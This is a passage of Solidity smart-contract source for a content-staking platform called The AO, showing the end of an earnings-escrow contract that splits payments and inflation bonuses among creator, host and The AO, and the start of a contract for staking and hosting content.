mapping (bytes32 => uint256) public totalStakedContentTheAOEarning;
// Mapping from content host ID to it's total earning
mapping (bytes32 => uint256) public totalHostContentEarningById;
// Event to be broadcasted to public when content creator/host earns the payment split in escrow when request node buys the content
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event PaymentEarningEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalPaymentAmount, uint256 recipientProfitPercentage, uint256 recipientPaymentEarning, uint8 recipientType);
// Event to be broadcasted to public when content creator/host/The AO earns inflation bonus in escrow when request node buys the content
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event InflationBonusEscrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 totalInflationBonusAmount, uint256 recipientProfitPercentage, uint256 recipientInflationBonus, uint8 recipientType);
// Event to be broadcasted to public when content creator/host/The AO earning is released from escrow
// recipientType:
// 0 => Content Creator (Stake Owner)
// 1 => Node Host
// 2 => The AO
event EarningUnescrowed(address indexed recipient, bytes32 indexed purchaseId, uint256 paymentEarning, uint256 inflationBonus, uint8 recipientType);
// Event to be broadcasted to public when content creator's Name earns Pathos when a node buys a content
event PathosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount);
// Event to be broadcasted to public when host's Name earns Ethos when a node buys a content
event EthosEarned(address indexed nameId, bytes32 indexed purchaseId, uint256 amount);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
* @param _settingTAOId The TAO ID that controls the setting
* @param _aoSettingAddress The address of AOSetting
* @param _baseDenominationAddress The address of AO base token
* @param _treasuryAddress The address of AOTreasury
* @param _nameFactoryAddress The address of NameFactory
* @param _pathosAddress The address of Pathos
* @param _ethosAddress The address of Ethos
*/
constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _nameFactoryAddress, address _pathosAddress, address _ethosAddress) public {
settingTAOId = _settingTAOId;
aoSettingAddress = _aoSettingAddress;
baseDenominationAddress = _baseDenominationAddress;
treasuryAddress = _treasuryAddress;
pathosAddress = _pathosAddress;
ethosAddress = _ethosAddress;
_aoSetting = AOSetting(_aoSettingAddress);
_baseAO = AOToken(_baseDenominationAddress);
_treasury = AOTreasury(_treasuryAddress);
_nameFactory = NameFactory(_nameFactoryAddress);
_pathos = Pathos(_pathosAddress);
_ethos = Ethos(_ethosAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev The AO set the NameTAOPosition Address
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO {
require (_nameTAOPositionAddress != address(0));
nameTAOPositionAddress = _nameTAOPositionAddress;
}
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO updates base denomination address
* @param _newBaseDenominationAddress The new address
*/
function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO {
require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0);
baseDenominationAddress = _newBaseDenominationAddress;
_baseAO = AOToken(baseDenominationAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Calculate the content creator/host/The AO earning when request node buys the content.
* Also at this stage, all of the earnings are stored in escrow
* @param _buyer The request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _networkAmountStaked The amount of network tokens at stake
* @param _primordialAmountStaked The amount of primordial tokens at stake
* @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function calculateEarning(
address _buyer,
bytes32 _purchaseId,
uint256 _networkAmountStaked,
uint256 _primordialAmountStaked,
uint256 _primordialWeightedMultiplierStaked,
uint256 _profitPercentage,
address _stakeOwner,
address _host,
bool _isAOContentUsageType
) public isContractActive inWhitelist returns (bool) {
// Split the payment earning between content creator and host and store them in escrow
_escrowPaymentEarning(_buyer, _purchaseId, _networkAmountStaked.add(_primordialAmountStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType);
// Calculate the inflation bonus earning for content creator/node/The AO in escrow
_escrowInflationBonus(_purchaseId, _calculateInflationBonus(_networkAmountStaked, _primordialAmountStaked, _primordialWeightedMultiplierStaked), _profitPercentage, _stakeOwner, _host, _isAOContentUsageType);
return true;
}
/**
* @dev Release the payment earning and inflation bonus that is in escrow for specific purchase ID
* @param _stakeId The ID of the staked content
* @param _contentHostId The ID of the hosted content
* @param _purchaseId The purchase receipt ID to check
* @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content
* @param _stakeOwner The address of the stake owner
* @param _host The address of the node that host the file
* @return true on success
*/
function releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _stakeOwner, address _host) public isContractActive inWhitelist returns (bool) {
// Release the earning in escrow for stake owner
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _stakeOwner, 0);
// Release the earning in escrow for host
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, _host, 1);
// Release the earning in escrow for The AO
_releaseEarning(_stakeId, _contentHostId, _purchaseId, _buyerPaidMoreThanFileSize, theAO, 2);
return true;
}
/***** INTERNAL METHODS *****/
/**
* @dev Calculate the payment split for content creator/host and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function _escrowPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, address _host, bool _isAOContentUsageType) internal {
(uint256 _stakeOwnerEarning, uint256 _pathosAmount) = _escrowStakeOwnerPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _stakeOwner, _isAOContentUsageType);
(uint256 _ethosAmount) = _escrowHostPaymentEarning(_buyer, _purchaseId, _totalStaked, _profitPercentage, _host, _isAOContentUsageType, _stakeOwnerEarning);
_escrowTheAOPaymentEarning(_purchaseId, _totalStaked, _pathosAmount, _ethosAmount);
}
/**
* @dev Calculate the inflation bonus amount
* @param _networkAmountStaked The amount of network tokens at stake
* @param _primordialAmountStaked The amount of primordial tokens at stake
* @param _primordialWeightedMultiplierStaked The weighted multiplier of primordial tokens at stake
* @return the bonus network amount
*/
function _calculateInflationBonus(uint256 _networkAmountStaked, uint256 _primordialAmountStaked, uint256 _primordialWeightedMultiplierStaked) internal view returns (uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
uint256 _networkBonus = _networkAmountStaked.mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR());
uint256 _primordialBonus = _primordialAmountStaked.mul(_primordialWeightedMultiplierStaked).div(AOLibrary.MULTIPLIER_DIVISOR()).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR());
return _networkBonus.add(_primordialBonus);
}
/**
* @dev Mint the inflation bonus for content creator/host/The AO and store them in escrow
* @param _purchaseId The ID of the purchase receipt object
* @param _inflationBonusAmount The amount of inflation bonus earning
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _host The address of the host
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
*/
function _escrowInflationBonus(
bytes32 _purchaseId,
uint256 _inflationBonusAmount,
uint256 _profitPercentage,
address _stakeOwner,
address _host,
bool _isAOContentUsageType
) internal {
(, uint256 theAOCut,) = _getSettingVariables();
if (_inflationBonusAmount > 0) {
// Store how much the content creator earns in escrow
uint256 _stakeOwnerInflationBonus = _isAOContentUsageType ? (_inflationBonusAmount.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0;
Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId];
_stakeEarning.inflationBonus = _stakeOwnerInflationBonus;
require (_baseAO.mintTokenEscrow(_stakeOwner, _stakeEarning.inflationBonus));
emit InflationBonusEscrowed(_stakeOwner, _purchaseId, _inflationBonusAmount, _profitPercentage, _stakeEarning.inflationBonus, 0);
// Store how much the host earns in escrow
Earning storage _hostEarning = hostEarnings[_host][_purchaseId];
_hostEarning.inflationBonus = _inflationBonusAmount.sub(_stakeOwnerInflationBonus);
require (_baseAO.mintTokenEscrow(_host, _hostEarning.inflationBonus));
emit InflationBonusEscrowed(_host, _purchaseId, _inflationBonusAmount, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.inflationBonus, 1);
// Store how much the The AO earns in escrow
Earning storage _theAOEarning = theAOEarnings[_purchaseId];
_theAOEarning.inflationBonus = (_inflationBonusAmount.mul(theAOCut)).div(AOLibrary.PERCENTAGE_DIVISOR());
require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.inflationBonus));
emit InflationBonusEscrowed(theAO, _purchaseId, _inflationBonusAmount, theAOCut, _theAOEarning.inflationBonus, 2);
} else {
emit InflationBonusEscrowed(_stakeOwner, _purchaseId, 0, _profitPercentage, 0, 0);
emit InflationBonusEscrowed(_host, _purchaseId, 0, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), 0, 1);
emit InflationBonusEscrowed(theAO, _purchaseId, 0, theAOCut, 0, 2);
}
}
/**
* @dev Release the escrowed earning for a specific purchase ID for an account
* @param _stakeId The ID of the staked content
* @param _contentHostId The ID of the hosted content
* @param _purchaseId The purchase receipt ID
* @param _buyerPaidMoreThanFileSize Whether or not the request node paid more than filesize when buying the content
* @param _account The address of account that made the earning (content creator/host)
* @param _recipientType The type of the earning recipient (0 => content creator. 1 => host. 2 => theAO)
*/
function _releaseEarning(bytes32 _stakeId, bytes32 _contentHostId, bytes32 _purchaseId, bool _buyerPaidMoreThanFileSize, address _account, uint8 _recipientType) internal {
// Make sure the recipient type is valid
require (_recipientType >= 0 && _recipientType <= 2);
uint256 _paymentEarning;
uint256 _inflationBonus;
uint256 _totalEarning;
uint256 _pathosAmount;
uint256 _ethosAmount;
if (_recipientType == 0) {
Earning storage _earning = stakeEarnings[_account][_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_pathosAmount = _earning.pathosAmount;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalStakeContentEarning = totalStakeContentEarning.add(_totalEarning);
stakeContentEarning[_account] = stakeContentEarning[_account].add(_totalEarning);
totalStakedContentStakeEarning[_stakeId] = totalStakedContentStakeEarning[_stakeId].add(_totalEarning);
if (_buyerPaidMoreThanFileSize) {
contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning);
} else {
networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning);
}
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
// Reward the content creator/stake owner with some Pathos
require (_pathos.mintToken(_nameFactory.ethAddressToNameId(_account), _pathosAmount));
emit PathosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _pathosAmount);
} else if (_recipientType == 1) {
_earning = hostEarnings[_account][_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_ethosAmount = _earning.ethosAmount;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalHostContentEarning = totalHostContentEarning.add(_totalEarning);
hostContentEarning[_account] = hostContentEarning[_account].add(_totalEarning);
totalStakedContentHostEarning[_stakeId] = totalStakedContentHostEarning[_stakeId].add(_totalEarning);
totalHostContentEarningById[_contentHostId] = totalHostContentEarningById[_contentHostId].add(_totalEarning);
if (_buyerPaidMoreThanFileSize) {
contentPriceEarning[_account] = contentPriceEarning[_account].add(_totalEarning);
} else {
networkPriceEarning[_account] = networkPriceEarning[_account].add(_totalEarning);
}
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
// Reward the host node with some Ethos
require (_ethos.mintToken(_nameFactory.ethAddressToNameId(_account), _ethosAmount));
emit EthosEarned(_nameFactory.ethAddressToNameId(_account), _purchaseId, _ethosAmount);
} else {
_earning = theAOEarnings[_purchaseId];
_paymentEarning = _earning.paymentEarning;
_inflationBonus = _earning.inflationBonus;
_earning.paymentEarning = 0;
_earning.inflationBonus = 0;
_earning.pathosAmount = 0;
_earning.ethosAmount = 0;
_totalEarning = _paymentEarning.add(_inflationBonus);
// Update the global var settings
totalTheAOEarning = totalTheAOEarning.add(_totalEarning);
inflationBonusAccrued[_account] = inflationBonusAccrued[_account].add(_inflationBonus);
totalStakedContentTheAOEarning[_stakeId] = totalStakedContentTheAOEarning[_stakeId].add(_totalEarning);
}
require (_baseAO.unescrowFrom(_account, _totalEarning));
emit EarningUnescrowed(_account, _purchaseId, _paymentEarning, _inflationBonus, _recipientType);
}
/**
* @dev Get setting variables
* @return inflationRate The rate to use when calculating inflation bonus
* @return theAOCut The rate to use when calculating the AO earning
* @return theAOEthosEarnedRate The rate to use when calculating the Ethos to AO rate for the AO
*/
function _getSettingVariables() internal view returns (uint256, uint256, uint256) {
(uint256 inflationRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'inflationRate');
(uint256 theAOCut,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOCut');
(uint256 theAOEthosEarnedRate,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'theAOEthosEarnedRate');
return (inflationRate, theAOCut, theAOEthosEarnedRate);
}
/**
* @dev Calculate the payment split for content creator and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _stakeOwner The address of the stake owner
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
* @return The stake owner's earning amount
* @return The pathos earned from this transaction
*/
function _escrowStakeOwnerPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _stakeOwner, bool _isAOContentUsageType) internal returns (uint256, uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
Earning storage _stakeEarning = stakeEarnings[_stakeOwner][_purchaseId];
_stakeEarning.purchaseId = _purchaseId;
// Store how much the content creator (stake owner) earns in escrow
// If content is AO Content Usage Type, stake owner earns 0%
// and all profit goes to the serving host node
_stakeEarning.paymentEarning = _isAOContentUsageType ? (_totalStaked.mul(_profitPercentage)).div(AOLibrary.PERCENTAGE_DIVISOR()) : 0;
// Pathos = Price X Node Share X Inflation Rate
_stakeEarning.pathosAmount = _totalStaked.mul(AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage)).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR());
require (_baseAO.escrowFrom(_buyer, _stakeOwner, _stakeEarning.paymentEarning));
emit PaymentEarningEscrowed(_stakeOwner, _purchaseId, _totalStaked, _profitPercentage, _stakeEarning.paymentEarning, 0);
return (_stakeEarning.paymentEarning, _stakeEarning.pathosAmount);
}
/**
* @dev Calculate the payment split for host node and store them in escrow
* @param _buyer the request node address that buys the content
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _profitPercentage The content creator's profit percentage
* @param _host The address of the host node
* @param _isAOContentUsageType whether or not the content is of AO Content Usage Type
* @param _stakeOwnerEarning The stake owner's earning amount
* @return The ethos earned from this transaction
*/
function _escrowHostPaymentEarning(address _buyer, bytes32 _purchaseId, uint256 _totalStaked, uint256 _profitPercentage, address _host, bool _isAOContentUsageType, uint256 _stakeOwnerEarning) internal returns (uint256) {
(uint256 inflationRate,,) = _getSettingVariables();
// Store how much the node host earns in escrow
Earning storage _hostEarning = hostEarnings[_host][_purchaseId];
_hostEarning.purchaseId = _purchaseId;
_hostEarning.paymentEarning = _totalStaked.sub(_stakeOwnerEarning);
// Ethos = Price X Creator Share X Inflation Rate
_hostEarning.ethosAmount = _totalStaked.mul(_profitPercentage).mul(inflationRate).div(AOLibrary.PERCENTAGE_DIVISOR()).div(AOLibrary.PERCENTAGE_DIVISOR());
if (_isAOContentUsageType) {
require (_baseAO.escrowFrom(_buyer, _host, _hostEarning.paymentEarning));
} else {
// If not AO Content usage type, we want to mint to the host
require (_baseAO.mintTokenEscrow(_host, _hostEarning.paymentEarning));
}
emit PaymentEarningEscrowed(_host, _purchaseId, _totalStaked, AOLibrary.PERCENTAGE_DIVISOR().sub(_profitPercentage), _hostEarning.paymentEarning, 1);
return _hostEarning.ethosAmount;
}
/**
* @dev Calculate the earning for The AO and store them in escrow
* @param _purchaseId The ID of the purchase receipt object
* @param _totalStaked The total staked amount of the content
* @param _pathosAmount The amount of pathos earned by stake owner
* @param _ethosAmount The amount of ethos earned by host node
*/
function _escrowTheAOPaymentEarning(bytes32 _purchaseId, uint256 _totalStaked, uint256 _pathosAmount, uint256 _ethosAmount) internal {
(,,uint256 theAOEthosEarnedRate) = _getSettingVariables();
// Store how much The AO earns in escrow
Earning storage _theAOEarning = theAOEarnings[_purchaseId];
_theAOEarning.purchaseId = _purchaseId;
// Pathos + X% of Ethos
_theAOEarning.paymentEarning = _pathosAmount.add(_ethosAmount.mul(theAOEthosEarnedRate).div(AOLibrary.PERCENTAGE_DIVISOR()));
require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.paymentEarning));
emit PaymentEarningEscrowed(theAO, _purchaseId, _totalStaked, 0, _theAOEarning.paymentEarning, 2);
}
}
/**
* @title AOContent
*
* The purpose of this contract is to allow content creator to stake network ERC20 AO tokens and/or primordial AO Tokens
* on his/her content
*/
contract AOContent is TheAO {
using SafeMath for uint256;
uint256 public totalContents;
uint256 public totalContentHosts;
uint256 public totalStakedContents;
uint256 public totalPurchaseReceipts;
address public settingTAOId;
address public baseDenominationAddress;
address public treasuryAddress;
AOToken internal _baseAO;
AOTreasury internal _treasury;
AOEarning internal _earning;
AOSetting internal _aoSetting;
NameTAOPosition internal _nameTAOPosition;
bool public paused;
bool public killed;
struct Content {
bytes32 contentId;
address creator;
/**
* baseChallenge is the content's PUBLIC KEY
* When a request node wants to be a host, it is required to send a signed base challenge (its content's PUBLIC KEY)
* so that the contract can verify the authenticity of the content by comparing what the contract has and what the request node
* submit
*/
string baseChallenge;
uint256 fileSize;
bytes32 contentUsageType; // i.e AO Content, Creative Commons, or T(AO) Content
address taoId;
bytes32 taoContentState; // i.e Submitted, Pending Review, Accepted to TAO
uint8 updateTAOContentStateV;
bytes32 updateTAOContentStateR;
bytes32 updateTAOContentStateS;
string extraData;
}
struct StakedContent {
bytes32 stakeId;
bytes32 contentId;
address stakeOwner;
uint256 networkAmount; // total network token staked in base denomination
uint256 primordialAmount; // the amount of primordial AO Token to stake (always in base denomination)
uint256 primordialWeightedMultiplier;
uint256 profitPercentage; // support up to 4 decimals, 100% = 1000000
bool active; // true if currently staked, false when unstaked
uint256 createdOnTimestamp;
}
struct ContentHost {
bytes32 contentHostId;
bytes32 stakeId;
address host;
/**
* encChallenge is the content's PUBLIC KEY unique to the host
*/
string encChallenge;
string contentDatKey;
string metadataDatKey;
}
struct PurchaseReceipt {
bytes32 purchaseId;
bytes32 contentHostId;
address buyer;
uint256 price;
uint256 amountPaidByBuyer; // total network token paid in base denomination
uint256 amountPaidByAO; // total amount paid by AO
string publicKey; // The public key provided by request node
address publicAddress; // The public address provided by request node
uint256 createdOnTimestamp;
}
// Mapping from Content index to the Content object
mapping (uint256 => Content) internal contents;
// Mapping from content ID to index of the contents list
mapping (bytes32 => uint256) internal contentIndex;
// Mapping from StakedContent index to the StakedContent object
mapping (uint256 => StakedContent) internal stakedContents;
// Mapping from stake ID to index of the stakedContents list
mapping (bytes32 => uint256) internal stakedContentIndex;
// Mapping from ContentHost index to the ContentHost object
mapping (uint256 => ContentHost) internal contentHosts;
// Mapping from content host ID to index of the contentHosts list
mapping (bytes32 => uint256) internal contentHostIndex;
// Mapping from PurchaseReceipt index to the PurchaseReceipt object
mapping (uint256 => PurchaseReceipt) internal purchaseReceipts;
// Mapping from purchase ID to index of the purchaseReceipts list
mapping (bytes32 => uint256) internal purchaseReceiptIndex;
// Mapping from buyer's content host ID to the buy ID
// To check whether or not buyer has bought/paid for a content
mapping (address => mapping (bytes32 => bytes32)) public buyerPurchaseReceipts;
// Event to be broadcasted to public when `content` is stored
event StoreContent(address indexed creator, bytes32 indexed contentId, uint256 fileSize, bytes32 contentUsageType);
// Event to be broadcasted to public when `stakeOwner` stakes a new content
event StakeContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 baseNetworkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier, uint256 profitPercentage, uint256 createdOnTimestamp);
// Event to be broadcasted to public when a node hosts a content
event HostContent(address indexed host, bytes32 indexed contentHostId, bytes32 stakeId, string contentDatKey, string metadataDatKey);
// Event to be broadcasted to public when `stakeOwner` updates the staked content's profit percentage
event SetProfitPercentage(address indexed stakeOwner, bytes32 indexed stakeId, uint256 newProfitPercentage);
// Event to be broadcasted to public when `stakeOwner` unstakes some network/primordial token from an existing content
event UnstakePartialContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 remainingNetworkAmount, uint256 remainingPrimordialAmount, uint256 primordialWeightedMultiplier);
// Event to be broadcasted to public when `stakeOwner` unstakes all token amount on an existing content
event UnstakeContent(address indexed stakeOwner, bytes32 indexed stakeId);
// Event to be broadcasted to public when `stakeOwner` re-stakes an existing content
event StakeExistingContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 currentNetworkAmount, uint256 currentPrimordialAmount, uint256 currentPrimordialWeightedMultiplier);
// Event to be broadcasted to public when a request node buys a content
event BuyContent(address indexed buyer, bytes32 indexed purchaseId, bytes32 indexed contentHostId, uint256 price, uint256 amountPaidByAO, uint256 amountPaidByBuyer, string publicKey, address publicAddress, uint256 createdOnTimestamp);
// Event to be broadcasted to public when Advocate/Listener/Speaker wants to update the TAO Content's State
event UpdateTAOContentState(bytes32 indexed contentId, address indexed taoId, address signer, bytes32 taoContentState);
// Event to be broadcasted to public when emergency mode is triggered
event EscapeHatch();
/**
* @dev Constructor function
* @param _settingTAOId The TAO ID that controls the setting
* @param _aoSettingAddress The address of AOSetting
* @param _baseDenominationAddress The address of AO base token
* @param _treasuryAddress The address of AOTreasury
* @param _earningAddress The address of AOEarning
* @param _nameTAOPositionAddress The address of NameTAOPosition
*/
constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _earningAddress, address _nameTAOPositionAddress) public {
settingTAOId = _settingTAOId;
baseDenominationAddress = _baseDenominationAddress;
treasuryAddress = _treasuryAddress;
nameTAOPositionAddress = _nameTAOPositionAddress;
_baseAO = AOToken(_baseDenominationAddress);
_treasury = AOTreasury(_treasuryAddress);
_earning = AOEarning(_earningAddress);
_aoSetting = AOSetting(_aoSettingAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
}
/**
* @dev Checks if the calling contract address is The AO
* OR
* If The AO is set to a Name/TAO, then check if calling address is the Advocate
*/
modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Checks if contract is currently active
*/
modifier isContractActive {
require (paused == false && killed == false);
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO pauses/unpauses contract
* @param _paused Either to pause contract or not
*/
function setPaused(bool _paused) public onlyTheAO {
paused = _paused;
}
/**
* @dev The AO triggers emergency mode.
*
*/
function escapeHatch() public onlyTheAO {
require (killed == false);
killed = true;
emit EscapeHatch();
}
/**
* @dev The AO updates base denomination address
* @param _newBaseDenominationAddress The new address
*/
function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO {
require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0);
baseDenominationAddress = _newBaseDenominationAddress;
_baseAO = AOToken(baseDenominationAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for an AO Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _profitPercentage The percentage of profit the stake owner's media will charge
*/
function stakeAOContent(
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize,
uint256 _profitPercentage)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, _profitPercentage));
(bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_aoContent,
address(0)
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
_profitPercentage
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a Creative Commons Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
*/
function stakeCreativeCommonsContent(
uint256 _networkIntegerAmount,
uint256 _networkFractionAmount,
bytes8 _denomination,
uint256 _primordialAmount,
string _baseChallenge,
string _encChallenge,
string _contentDatKey,
string _metadataDatKey,
uint256 _fileSize)
public isContractActive {
require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0));
require (_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize);
(,bytes32 _contentUsageType_creativeCommons,,,,) = _getSettingVariables();
/**
* 1. Store this content
* 2. Stake the network/primordial token on content
* 3. Add the node info that hosts this content (in this case the creator himself)
*/
_hostContent(
msg.sender,
_stakeContent(
msg.sender,
_storeContent(
msg.sender,
_baseChallenge,
_fileSize,
_contentUsageType_creativeCommons,
address(0)
),
_networkIntegerAmount,
_networkFractionAmount,
_denomination,
_primordialAmount,
0
),
_encChallenge,
_contentDatKey,
_metadataDatKey
);
}
/**
* @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a T(AO) Content
* @param _networkIntegerAmount The integer amount of network token to stake
* @param _networkFractionAmount The fraction amount of network token to stake
* @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc.
* @param _primordialAmount The amount of primordial Token to stake
* @param _baseChallenge The base challenge string (PUBLIC KEY) of the content
* @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host
* @param _contentDatKey The dat key of the content
* @param _metadataDatKey The dat key of the content's metadata
* @param _fileSize The size of the file
* @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content)
*/
function stakeTAOContent(
uint256 _networkIntegerAmount,
